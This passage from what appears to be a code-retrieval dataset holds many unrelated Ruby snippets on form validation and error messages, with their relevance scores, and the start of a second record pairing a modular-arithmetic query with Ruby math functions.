@template.concat wrap_field(out, wrapper, options), block.binding\n end\n end", "def expect_error_msgs(*messages)\n within \"#error_explanation\" do\n error_count = messages.size\n expect(page).to have_content \"#{error_count} #{'error'.pluralize(error_count)} prohibited this user from being saved\"\n within \"ul\" do\n expect(page).to have_css \"li\", count: error_count\n messages.each do |expected_msg|\n expect(page).to have_selector \"li\", text: expected_msg\n end\n end\n end\n end", "def errors\n run_validation\n @errors\n end", "def precheck_clearancing_error\n potential_item = Item.find_by(id: @item_id)\n\n if !@item_id.is_a?(Integer) || @item_id == 0\n @errors << \"Item id #{@item_id} is not valid\"\n\n elsif potential_item && potential_item.status == 'clearanced'\n # NOTE: The catch at the end is there just to satisfy a spec condition. Not super happy about that.\n @errors << \"Item id #{@item_id} already clearanced into Batch #{potential_item.clearance_batch.id if potential_item.clearance_batch}\"\n\n elsif !potential_item\n @errors << \"Item id #{@item_id} could not be found\"\n\n elsif Item.sellable.where(id: @item_id).none?\n @errors << \"Item id #{@item_id} could not be clearanced\"\n\n else\n false\n\n end\n\n end", "def check_detalles\n detalles.reload if errors.size > 0\n end", "def error_messages\n unless @object.errors.count.zero?\n attributes_with_errors = @object.errors.map { |attribute, _| attribute } - ['base']\n content_tag(:p, :class => 'errors') do\n if attributes_with_errors.size > 1\n concat \"Sorry, there were problems with the #{attributes_with_errors.to_sentence}.\"\n elsif attributes_with_errors.size == 1\n concat \"Sorry, there was a problem with the #{attributes_with_errors.first}.\"\n else\n concat \"#{@object.class} #{@object.errors.on(:base)}.\"\n end\n end\n else\n ''\n end\n end", "def level_2_option_2\n recipe = display_recipe_options\n if recipe == 1 #Show all recipes\n clear\n display_all_recipes\n elsif recipe == 2\n clear\n begin\n new_recipe_prompts #Add a new recipe\n rescue InvalidCookingTimeError, InvalidDishError => e\n clear\n puts \"\"\n puts e.message.colorize(:red)\n retry\n rescue DuplicateError => e\n clear\n puts \"\"\n puts e.message.colorize(:red)\n puts \"\"\n puts \"\"\n $prompt.keypress(\"Press any key to go back to Main Menu\".colorize(:red))\n end\n elsif recipe == 3\n clear\n delete_recipe_prompts #Delete a recipe\n end\nend", "def control_sin_items_comprobantes\n if [detalles].any? {|detalle| detalle.any? }\n self.errors[:base] = \"error que queres hacer?\"\n return false\n end \n end", "def contents_with_errors\n contents.select(&:essence_validation_failed?)\n end", "def display_error(i, given, correct)\n puts \"Line #{i+1}: Invalid block number #{given}, should be #{correct.to_i + 1}\"\n end", "def error_css(error)\n if error.any?\n \"field_with_errors\"\n else\n \"field\"\n end#if\n end", "def reset_errors!\n @errors = []\n end", "def reset_errors!\n @errors = []\n end", "def validate_errors_warnings (object, name, errwarn)\n if (errwarn)\n if (object['error_list'] == validation_errors())\n if (object['warning_list'] == validation_warnings())\n validation_errors(true)\n validation_warnings(true)\n else\n val_fatal(\"Warnings mismatch in #{name}\")\n end\n elsif (object['warning_list'] == validation_warnings())\n val_fatal(\"Errors mismatch in #{name}\")\n else\n val_fatal(\"Errors and Warnings mismatch in #{name}\")\n end\n else\n object['error_list']= validation_errors()\n object['warning_list']= validation_warnings()\n end\n end", "def check_for_child_validation_errors\n result = true\n result &= check_for_child_validation_error(:current_user)\n result &= check_for_child_validation_error(:company)\n result &= check_for_child_validation_error(:account_type)\n result &= check_for_child_validation_error(:address)\n result\n end", "def notify_form_errors(object, **options)\n options.reverse_merge!(\n row_class: \"row m-b-1\",\n col_class: \"col-md-12\",\n alert_class: \"alert alert-danger\",\n ul_class: \"\",\n ul_style: \"margin-bottom: 0px;text-align:left;\",\n li_class: \"\",\n li_style: \"\"\n )\n if object.errors.any?\n content_tag(:div, class: options[:row_class]) do \n content_tag(:div, class: options[:col_class]) do \n content_tag(:div, class: options[:alert_class]) do \n content_tag(:ul, class: options[:ul_class], style: options[:ul_style]) do \n li_array = []\n object.errors.each do |attr, msg|\n next unless object.errors[attr].last == msg\n li_array << content_tag(:li, class: options[:li_class], style: options[:li_style]) do \n # If the error is base, dont show the text base\n ( attr.to_s == \"base\" ? \"\" : content_tag(:strong, \"#{attr.to_s.titleize}: \") ) + msg\n end\n end\n raw(li_array.join(\" \"))\n end\n end\n end\n end\n end\n end", "def ar_lock_version_errors\n return if !flash[:lock_version_error]\n \n errors= []\n # Display the user submited values that caused the lock version errors.\n controller.ardata.fields.for_edit.each do |column, title|\n errors << content_tag(:li, \"#{content_tag(:strong, title)}: #{params[:resource][column]}\")\n end\n errors= content_tag(:ul, errors.join(\"\\n\"))\n \n content_tag :div, \"#{flash[:lock_version_error]}\\n#{errors}\", :class=> :important\n end", "def loose_errors\n err = []\n err << title\n err << authors\n err << s3_error_uploads\n err << url_error_validating\n\n err.flatten\n end", "def errors(errors)\n output \"Errors Loading Players\"\n output \"======================\"\n \n errors.each do |error|\n output \"* #{error}\"\n end\n output \"* No errors to report :o)\" if errors.empty?\n \n blank_line\n end", "def handle_validation_fail(comment = \"Arguments had conflicts\")\n clear\n\n puts Rainbow(\"Validation Fail: #{comment}\\n\\n\").red\nend", "def form_errors(errors)\n @form_config.form_errors = errors\n return unless errors && errors[:base_with_highlights]\n\n Array(errors[:base_with_highlights][:highlights]).each do |field|\n @form_config.form_errors[field] ||= []\n @form_config.form_errors[field] << nil\n end\n end", "def validate_field f=@widgets[@active_index]\n begin\n on_leave f\n rescue => err\n $log.error \"form: validate_field caught EXCEPTION #{err}\"\n $log.error(err.backtrace.join(\"\\n\")) \n# $error_message = \"#{err}\" # changed 2010 \n $error_message.value = \"#{err}\"\n Ncurses.beep\n return -1\n end\n return 0\n end", "def error?\n (@spinners - [@top_spinner]).any?(&:error?)\n end", "def validate\n super\n rescue Sudoku::Constraint::ConstraintError => e\n raise ConstraintError, e.message + \" in a 3x3 subboard\"\n end", "def checks; end", "def validate\n (1..25).each do |i|\n if resulthash[\"ans\"+i.to_s].blank?\n self.errors.add_to_base \"Question ##{i} cannot be left blank.\"\n end\n end\n super\n end", "def errors=(_); end", "def at_least_one_indicator_target_exist \n #when not even 1 set exist(indicator_desc+target+achievement+progress )\n if half==2 && (indicator_desc_quality.blank? && target_quality.blank? && achievement_quality.blank? && progress_quality.blank?) && (indicator_desc_time.blank? && target_time.blank? && achievement_time.blank? && progress_time.blank?) && (indicator_desc_quantity.blank? && target_quantity.blank? && achievement_quantity.blank? && progress_quantity.blank?) && (indicator_desc_cost.blank? && target_cost.blank? && achievement_cost.blank? && progress_cost.blank?)\n return false \n errors.add(\"aa\",\"error la\")\n# elsif id.nil? && half==2 \n# \n# #when user selected 'Sent to PPP for Report' - with INCOMPLETE NEWly inserted xtvt(not yet saved) - (render fields although record not yet saved due to errors)\n# #RESTRICTIONS : requires 'Target fields' to be completed for repeating fields to be rendered when error occurs\n# if ( !indicator_desc_quality.blank? && !target_quality.blank? && !achievement_quality.blank? && !progress_quality.blank?)\n# return true\n# else\n# return false\n# end\n# if ( !indicator_desc_time.blank? && !target_time.blank? && !achievement_time.blank? && !progress_time.blank?)\n# return true\n# else\n# return false\n# end\n# if ( !indicator_desc_quantity.blank? && !target_quantity.blank? && !achievement_quantity.blank? && progress_quantity.blank?)\n# return true\n# else\n# return false\n# end\n# if ( !indicator_desc_cost.blank? && !target_cost.blank? && !achievement_cost.blank? && !progress_cost.blank?)\n# return true\n# else\n# return false\n# end\n\n elsif half==1 && (indicator_desc_quality.blank? && target_quality.blank?) && (indicator_desc_time.blank? && target_time.blank?) && (indicator_desc_quantity.blank? && target_quantity.blank?) && (indicator_desc_cost.blank? && target_cost.blank?)\n return false\n end\n end", "def present_non_assertion_error_summary\n return if non_assertion_errors.empty?\n Terminal.format_title(@io, 2, \"Errors other than assertion failures\")\n non_assertion_errors.each do |error|\n error.non_assertion_error_details(@io)\n end\n end", "def check_summary_for_errors(summary)\n if summary.has_key?(\"resources\")\n resources = summary[\"resources\"]\n\n failed_to_restart = resources[\"failed_to_restart\"]\n if failed_to_restart.nil?\n @errors << \"failed to restart count not in summary.\"\n elsif failed_to_restart > 0\n @errors << \"#{failed_to_restart} resources failed to restart.\"\n end\n\n failed = resources[\"failed\"]\n if failed.nil?\n @errors << \"failed resources count not in summary.\"\n elsif failed > 0\n @errors << \"#{failed} failed resources.\"\n end\n\n total = resources[\"total\"]\n # this happens when execution expired sometimes. \n if total.nil?\n @errors << \"total resources count not in summary.\"\n elsif total == 0\n @errors << \"there were zero total resources in the run summary, which suggests something went wrong.\"\n end \n else\n @errors << \"no resources information.\"\n end\n\n # failure events are usually failed resourced, but sometimes aren't.\n # we record these if there aren't already failed resources.\n if summary.has_key?(\"events\")\n failure = summary[\"events\"][\"failure\"]\n if failure.nil?\n @errors << \"no failure count in summary events.\"\n elsif failure > 0 and failed == 0\n @errors << \"#{failure} failure events.\"\n end\n else\n @errors << \"no events in summary.\"\n end\n\n @errors.length\n end", "def level_2_option_1\n #show options on level 2 option 1\n rmk = display_raid_my_kitchen_options\n if rmk == 1 #search by ingredients\n search_by_meat\n elsif rmk == 2 #search by cooking time\n begin\n cook_time_prompts\n rescue NotInDatabaseError, InvalidCookingTimeError => e #handles errors\n clear\n puts e.message.colorize(:red)\n retry\n end\n end\nend", "def display_error\n counter = 0\n file_data_arr.each_with_index do |file_data, index|\n data_index = index + 1\n counter += 1 unless missing_ending_semicolon?(file_data, data_index)\n counter += 1 unless space_before_semicolon?(file_data, data_index)\n counter += 1 unless indentation_error?(file_data, data_index)\n counter += 1 unless space_after_colon?(file_data, data_index)\n counter += 1 unless space_before_colon?(file_data, data_index)\n counter += 1 unless trailing_white_space?(file_data, data_index)\n end\n puts 'No Errors Found'.green if counter.zero?\n end", "def verrorbars(x, y, e1, e2)\n n = equal_length(x, y, e1, e2)\n super(n, x, y, e1, e2)\n end", "def verrorbars(x, y, e1, e2)\n n = equal_length(x, y, e1, e2)\n super(n, x, y, e1, e2)\n end", "def display_errors(errors)\n str = \"\".html_safe \n str += \"<div id='errorMsgDiv'>Please correct the following errors:<br/>\".html_safe if errors.full_messages.size > 0\n errors.full_messages.each do |msg|\n str += \"<li>#{msg}</li>\".html_safe\n end\n str += \"</div>\".html_safe if errors.full_messages.size > 0\n end", "def different_groups\n return if resp_group_id.nil? || orig_group_id.nil?\n errors.add( :base, I18n.t( 'sir_entries.msg.bad_grp_combo' )) \\\n unless resp_group_id != orig_group_id || is_comment?\n end", "def not_both_presets_and_subsections\n return unless rubric_preset.present? && subsections.present?\n\n errors.add(:subsections, 'must be empty if preset comments exist')\n errors.add(:rubric_preset, 'must be empty if subsections exist')\n end", "def add_errors_for_row(row_number, errors)\n errors.keys.each do |attribute|\n errors.full_messages_for(attribute).each do |error|\n self.errors.add(\"option_sets[#{row_number}].#{attribute}\",\n I18n.t(\"operation.row_error\", row: row_number, error: error))\n end\n end\n end", "def validation_error_check_discrepancies(ar, fields)\n\t\tmsgs = []\n\t\t# get the list of fields that have errors (err_fields)\n\t\terr_fields = []\n\t\tar.errors.each {|k,v| err_fields << k}\n\t\t# identify fields missing from the record’s errors \n\t\tmissing_errors = []\n\t\tfields.each do |field_name|\n\t\t\tmissing_errors << field_name unless err_fields.include?(field_name) #if ar.errors[field_name].blank?\n\t\tend\n\t\tif missing_errors.length > 0\n\t\t\tmsgs << \"missing validation error for fields #{missing_errors.join(', ')}\"\n\t\tend\n\t\t# identify unexpected fields in the record’s errors\n\t\tunexpected_errors = []\n\t\terr_fields.each do |field_name|\n\t\t\tunexpected_errors << field_name unless fields.include?(field_name)\n\t\tend\n\t\tif unexpected_errors.length > 0\n\t\t\tmsgs << \"unexpected errors for fields #{unexpected_errors.join(', ')}\"\n\t\tend\n\t\tif msgs.length > 0\n\t\t\tassert false, msgs.join(\".\\r\")\n\t\tend\n\tend", "def print_errors(mode=\"cli\")\n return(0) if (@errors.count == 0)\n\n if mode == \"cli\"\n @errors.each do |value|\n puts value\n end\n elsif ( mode == \"gd\" )\n set_line_style(width=1)\n max_width = 0\n @errors.each do |value|\n position = image_ftb_box(@error_font_size,0,@error_font_name,value)\n text_width = position[2]-position[0]\n max_width = text_width if ( text_width > max_width )\n end\n draw_filled_rounded_rectangle(@x_size-(max_width+20),@y_size-(20+((@error_font_size+4)*(@errors.count))),@x_size-10,@y_size-10,6,233,185,185)\n draw_rounded_rectangle(@x_size-(max_width+20),@y_size-(20+((@error_font_size+4)*(@errors.count))),@x_size-10,@y_size-10,6,193,145,145)\n c_text_color = allocate_color(@picture,133,85,85)\n ypos = @y_size - (18 + ((@errors.count)-1) * (@error_font_size + 4))\n @errors.each do |value|\n image_ttf_text(@picture,@error_font_size,0,@x_size-(max_width+15),ypos,c_text_color,@error_font_name,value)\n ypos = ypos + (@error_font_size + 4)\n end\n end\n end", "def multiple_assert\n MultipleAssertion::CustomExceptions.reset_error_message\n yield\n error_message = MultipleAssertion::CustomExceptions.format_error_message\n raise RSpec::Expectations::ExpectationNotMetError, error_message unless error_message.empty?\nend", "def load_errors(obj)\n obj.errors.full_messages.each { |m|\n @msg.add(:error, m);\n }\n end", "def handle_bed_errors(bed_fn, bed_errors)\r\n nr_bases = bed_errors[0]\r\n bed_lines_size = bed_errors[1]\r\n bad_lines = bed_errors[2]\r\n \r\n rc = 0\r\n if bad_lines > 0 \r\n if bad_lines < bed_lines_size\r\n rc = 0\r\n flash.now[:notice] = 'WARNING: ' + bad_lines.to_s + ' invalid bed format lines found in file and ignored'\r\n else\r\n rc = -1\r\n flash[:error] = 'ERROR: No valid bed format lines found in file: ' + bed_fn\r\n end\r\n end\r\n \r\n if nr_bases > DesignQuery::MAX_BASES\r\n rc = -2\r\n flash[:error] = 'ERROR: Genomic space of ' + nr_bases.to_s + ' is too large - please limit to ' + DesignQuery::MAX_BASES\r\n elsif bed_lines_size > DesignQuery::MAX_BED_LINES\r\n rc = -3\r\n flash[:error] = \"ERROR: Too many lines in file - please limit to #{DesignQuery::MAX_BED_LINES} lines\"\r\n end\r\n return rc\r\n end", "def validate\n errors.add_to_base \"That was tricky! Passangers must be an integer between 1 and 10 inclusive.\\nYou tried:\"+passengersToBoard.to_s if number_of_passangers?\n #errors.add(\"passengers\", \"tried:\"+passengersToBoard.to_s) if number_of_passangers? \n end", "def test_newJobOrderValidation\n Common.login(Users::USER_EMAIL, Users::PASSWORD)\n Common.goToTab(HomePage::REQUISITION_TAB_LINK_XPATH)\n test = [{\"displayed\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"click_and_load\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"displayed\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH},\n {\"set_text\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH, \"text\" => RequisitionsHomePage::RECORD_TYPE_REQUISITION_TEXT},\n {\"click_and_load\" => RequisitionsHomePage::CONTINUE_BUTTON_XPATH},\n {\"displayed\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH},\n {\"click_and_load\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_BTN_SAVE_XPATH}]\n Common.main(test)\n assert $wait.until {\n $browser.find_element(:xpath, RequisitionsNewAndEdit:: ERROR_MESSAGE_FIELD_XPATH).displayed?\n }\n assert_equal($browser.find_element(:xpath, RequisitionsNewAndEdit:: ERROR_MESSAGE_FIELD_XPATH).text, RequisitionsNewAndEdit::ERROR_REQUIRED_FIELDS_TEXT)\n Common.goToTab(HomePage::REQUISITION_TAB_LINK_XPATH)\n test2 = [{\"displayed\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"click_and_load\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"displayed\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH},\n {\"set_text\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH, \"text\" => RequisitionsHomePage::RECORD_TYPE_REQUISITION_TEXT},\n {\"click_and_load\" => RequisitionsHomePage::CONTINUE_BUTTON_XPATH},\n {\"displayed\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH, \"text\" => RequisitionsNewAndEdit::REQUISITION_NAME},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_PRIMARY_RECRUITER_TEXT_XPATH, \"text\" => RequisitionsNewAndEdit::PRIMARY_RECRUITER_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_LOCATION_XPATH, \"text\" => RequisitionsNewAndEdit::LOCATION_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_DEPARTAMENT_XPATH, \"text\" => RequisitionsNewAndEdit::DEPARTMENT_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MIN_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MIN_SALARY_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MAX_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MAX_SALARY_TEXT}, \n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_DATE_POSTED_XPATH, \"text\" => RequisitionsNewAndEdit::DATE_WRONG_TEXT}, \n {\"click_and_load\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_BTN_SAVE_XPATH}] \n Common.main(test2)\n assert $wait.until {\n $browser.find_element(:xpath, RequisitionsNewAndEdit:: ERROR_MESSAGE_FIELD_XPATH).displayed?\n }\n assert_equal($browser.find_element(:xpath, RequisitionsNewAndEdit:: ERROR_MESSAGE_FIELD_XPATH).text, RequisitionsNewAndEdit::ERROR_INVALID_DATE_TEXT)\n Common.goToTab(HomePage::REQUISITION_TAB_LINK_XPATH)\n test3 = [{\"displayed\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"click_and_load\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"displayed\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH},\n {\"set_text\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH, \"text\" => RequisitionsHomePage::RECORD_TYPE_REQUISITION_TEXT},\n {\"click_and_load\" => RequisitionsHomePage::CONTINUE_BUTTON_XPATH},\n {\"displayed\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH, \"text\" => RequisitionsNewAndEdit::REQUISITION_NAME},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_PRIMARY_RECRUITER_TEXT_XPATH, \"text\" => RequisitionsNewAndEdit::PRIMARY_RECRUITER_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_LOCATION_XPATH, \"text\" => RequisitionsNewAndEdit::LOCATION_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_DEPARTAMENT_XPATH, \"text\" => RequisitionsNewAndEdit::DEPARTMENT_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MIN_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MIN_SALARY_WRONG_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MAX_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MAX_SALARY_WRONG_TEXT}, \n {\"click_and_load\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_BTN_SAVE_XPATH}]\n Common.main(test3)\n assert $wait.until {\n $browser.find_element(:xpath, RequisitionsNewAndEdit:: ERROR_MESSAGE_FIELD_XPATH).displayed?\n }\n assert_equal($browser.find_element(:xpath, RequisitionsNewAndEdit:: ERROR_MESSAGE_FIELD_XPATH).text, RequisitionsNewAndEdit::ERROR_INVALID_CURRENCY_TEXT)\n Common.goToTab(HomePage::REQUISITION_TAB_LINK_XPATH)\n test4 = [{\"displayed\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"click_and_load\" => RequisitionsHomePage::REQUISITIONS_PAGE_BTN_NEW_XPATH},\n {\"displayed\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH},\n {\"set_text\" => RequisitionsHomePage::NEW_RECORD_TYPE_DROPDOWN_XPATH, \"text\" => RequisitionsHomePage::RECORD_TYPE_REQUISITION_TEXT},\n {\"click_and_load\" => RequisitionsHomePage::CONTINUE_BUTTON_XPATH},\n {\"displayed\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_JOB_TITLE_XPATH, \"text\" => RequisitionsNewAndEdit::REQUISITION_NAME},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_PRIMARY_RECRUITER_TEXT_XPATH, \"text\" => RequisitionsNewAndEdit::PRIMARY_RECRUITER_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_LOCATION_XPATH, \"text\" => RequisitionsNewAndEdit::LOCATION_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_DEPARTAMENT_XPATH, \"text\" => RequisitionsNewAndEdit::DEPARTMENT_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MIN_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MIN_SALARY_TEXT},\n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_MAX_SALARY_XPATH, \"text\" => RequisitionsNewAndEdit::MAX_SALARY_TEXT}, \n {\"set_text\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_OPENINGS_XPATH, \"text\" => RequisitionsNewAndEdit::OPENINGS_WRONG_TEXT},\n {\"click_and_load\" => RequisitionsNewAndEdit::REQUISITIONS_NEW_BTN_SAVE_XPATH}]\n Common.main(test4)\n assert $wait.until {\n $browser.find_element(:xpath, RequisitionsNewAndEdit:: ERROR_MESSAGE_FIELD_XPATH).displayed?\n }\n assert_equal($browser.find_element(:xpath, RequisitionsNewAndEdit:: ERROR_MESSAGE_FIELD_XPATH).text, RequisitionsNewAndEdit::ERROR_INVALID_NUMBER_TEXT)\nend", "def manage_shipping_errors\n @sales = Sale.current_batch_that_was_shippable\n \n @addresses = @sales.map {|s| s.address }\n \n @number_of_pages_to_show = ((@addresses.count/30)+1)\n @number_of_labels_per_page = 30\n \n render :layout => false\n end", "def print_errors(rows)\n print \"Errors:\\n\"\n rows.each do |row|\n print \"Row #{row[:row_number]} rejected: #{row[:validation_errors].join(\", \")}\\n\"\n\n end\n print \"\\n\"\n end", "def error_messages(object)\n return '' if object.errors.empty?\n content_tag('div',\n content_tag('ul', object.errors.collect {|attr_name, msg|\n content_tag('li', msg)}),\n { :class => 'errorExplanation' })\n end", "def valid?\n @errors = []\n # check thename exists and is not empty\n if name.to_s.empty?\n @errors << {message: \"Name cannot be empty.\", variable: \"name\"}\n end\n \n # check the description exists and is not empty\n if description.to_s.empty?\n @errors << {message: \"Description cannot be empty.\", variable: \"description\"}\n end\n \n # check the description exists and is not empty\n if studio_id.to_s.empty? \n @errors << {message: \"Studio id cannot be empty.\", variable: \"studio_id\"}\n elsif studio.blank?\n @errors << {message: \"Studio id must be a member of the studios table.\", variable: \"studio_id\"}\n end \n \n # check the description exists and is not empty\n if rating_id.to_s.empty?\n @errors << {message: \"Rating id cannot be empty.\", variable: \"rating_id\"}\n elsif rating.blank?\n @errors << {message: \"Rating id must be a member of the ratings table.\", variable: \"rating_id\"}\n end\n \n # checks the number of time slots\n if length.to_s.empty?\n @errors << {message: \"Length cannot be empty.\", variable: \"length\"}\n elsif length.is_a? Integer\n if length < 0\n @errors << {message: \"Length must be greater than 0.\", variable: \"length\"}\n end\n else\n @errors << {message: \"Length must be a number.\", variable: \"length\"}\n end\n \n # returns whether @errors is empty\n @errors.empty?\n end" ]
[ "0.5981516", "0.5890561", "0.5878731", "0.5874576", "0.58672255", "0.5864572", "0.5803936", "0.5802728", "0.57858664", "0.57026386", "0.5667468", "0.56466866", "0.55714715", "0.55669904", "0.54822206", "0.5412345", "0.5393219", "0.53843045", "0.53817576", "0.5359873", "0.53408176", "0.5321624", "0.5321624", "0.5321624", "0.5321624", "0.5321624", "0.5321624", "0.5321624", "0.5321624", "0.5321624", "0.531088", "0.5310581", "0.5294336", "0.52894986", "0.528528", "0.5278858", "0.527293", "0.5263735", "0.52510554", "0.524543", "0.52424514", "0.5239032", "0.52382725", "0.5215499", "0.52134895", "0.5205808", "0.5201925", "0.52015436", "0.5191705", "0.51848453", "0.5184785", "0.5175252", "0.5173598", "0.5170431", "0.5164611", "0.5163334", "0.51631176", "0.5156211", "0.5154301", "0.51387995", "0.51333016", "0.5129905", "0.51276463", "0.5126486", "0.5126486", "0.51207817", "0.5112436", "0.51110464", "0.51091385", "0.5106633", "0.50980914", "0.50971013", "0.50964665", "0.50945354", "0.50943184", "0.50913733", "0.5087929", "0.50867647", "0.50814617", "0.50790805", "0.50753826", "0.5069402", "0.5063155", "0.50621384", "0.5061596", "0.5061596", "0.5054344", "0.5039031", "0.50360537", "0.5025788", "0.5023537", "0.50143176", "0.5009783", "0.5008599", "0.50046414", "0.500185", "0.49990213", "0.4993287", "0.49898556", "0.49873093", "0.49843797" ]
0.0
-1
(0 + km) % n == 0 m = 4 n = 10 k = 5 km % n = 0 km = cn k = cn / m This works (100% performance) but is not best way O(log(n + m))
def fast_solution(n, m) # eaten = c * n / m. Find c that makes (c * n) % m == 0. c = 0 begin c += 1 c = m / n if m == 1000000000 end until (c * n) % m == 0 c * n / m end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def recessive k, m, n\n all = k + m + n\n mix = m + n\n total = 4.0 * triangle(all) # 2 * squareish all = 2 * 2 * triangle all\n\n lhs = triangle n\n mid = n * mix - n\n rhs = triangle mix\n\n 1 - (lhs+mid+rhs) / total\n end", "def flatlandSpaceStations(n,c,m)\r\n answer = 0\r\n cc = c.sort()\r\n\r\n for i in (0..cc.size-2) do\r\n answer = [answer,(cc[i+1]-cc[i])/2].max\r\n end\r\n answer = [answer, cc[0], n-1 - cc[-1]].max\r\nend", "def calc(n, k)\n fac(n) / (fac(k) * fac(n - k)) * ((1.0/6.0)**k * (5.0/6.0)**(n-k)) * 100\n end", "def findNb(m)\n # n^3 + (n-1)^3 + (n-2)^3 + ... 1^3 = m\n # m - 1 - 8 - 27 - 64 - ... etc = 0\n base = 1\n loop do\n m -= (base ** 3)\n break if m <= 0\n base += 1\n end\n m < 0 ? -1 : base\nend", "def solution(n, m)\n n / gcd(n, m)\nend", "def f(n,m)\n array = [*1..n]\n array.inject(0) do |result, int|\n result += int % m\n end\nend", "def cantor_pairing(n, m)\n (n + m) * (n + m + 1) / 2 + m\nend", "def solve(n, m)\n m -= 1\n fac(n+m)/(fac(m)*fac(n)) % 1000000007\nend", "def nth_ugly_number(n, a, b, c)\n# a-b, a-c, b-c, ab-c\n ab_lcm = a.lcm(b) # there are some a present in b\n ac_lcm = a.lcm(c) # there are some a present in c\n bc_lcm = b.lcm(c) # there are some b present in c\n abc_lcm = ab_lcm.lcm(c) # there are some a*b in c (because c is the biggest)\n \n # using set theory for binary search\n # a + b + c - ab_lcm - ac_lcm - bc_lcm + abc_lcm\n (1..2*10**9).bsearch{|x| x/a + x/b + x/c - x/ab_lcm - x/ac_lcm - x/bc_lcm + x/abc_lcm >= n}\nend", "def solution(k, m, a)\n from = a.max\n to = a.inject(:+)\n min = from\n while from <= to\n mid = (from + to) / 2\n if check(mid, k, m, a)\n min = mid\n to = mid - 1\n else\n from = mid + 1\n end\n end\n min\nend", "def cmbnation(m)\n factrl(m) / ( factrl(m - 5) * factrl(5) )\nend", "def c(n, m) # m should <= n\n\treturn 1 if m == 1\n\tfactorial(n) / factorial(n - m)\nend", "def d(n)\n (2..Math.sqrt(n)).inject(1){|s, i| n % i == 0 ? s + i + n/i : s}\nend", "def p500_v1(k)\n n = 1\n two_k = 2 ** k\n loop do\n if divisors_v2(n) == two_k\n return n\n else\n n += 1\n end\n end\nend", "def solve( n = 1_000_000_000 )\n log10 = Math.log10( n )\n\n sum = (0...log10).map do |i|\n if 0 == (i % 4)\n 0\n elsif 0 != (i % 2)\n 20 * 30**((i - 1)/2)\n else\n 100 * 500**((i - 2)/4)\n end\n end\n\n sum.reduce( :+ )\n end", "def solution(n)\n x = (n**0.5).floor\n (1..x).reduce(0) { |s, i| n % i == 0 ? s += (i * i == n ? 1 : 2) : s }\nend", "def find_nb(m)\n n = 0\n while m.positive?\n n += 1\n m -= n**3\n end\n m.zero? ? n : -1\nend", "def sum_mults(n, k)\n n = (n - 1) / k\n return k * n * (n + 1) / 2\nend", "def divisible_by(a, b, k)\n a = k if a < k\n\n x = ((b-a)/k)\n x += 1 if a % k == 0\n\n #n = 0\n #(a..b).each do |i|\n # n += 1 if i % k == 0\n #end\n return x\nend", "def cdf(k, m, n, total)\n raise(ArgumentError, \"k>m\") if k>m\n raise(ArgumentError, \"k>n\") if k>n\n # Store the den\n den=bc(total,n)\n (0..k).collect { |ki| pdf_with_den(ki,m,n,total,den) }.inject { |sum,v| sum+v}\n end", "def compute\n perimeter = 1000\n (1..(perimeter+ 1)).each do |a|\n ((a + 1)..(perimeter + 1)).each do |b|\n c = perimeter - a - b\n return (a * b * c).to_s if (a * a + b * b == c * c)\n end\n end\nend", "def find_nb(m)\nindex=sum=0\n while sum < m\n sum+=index**3\n return index if sum == m\n 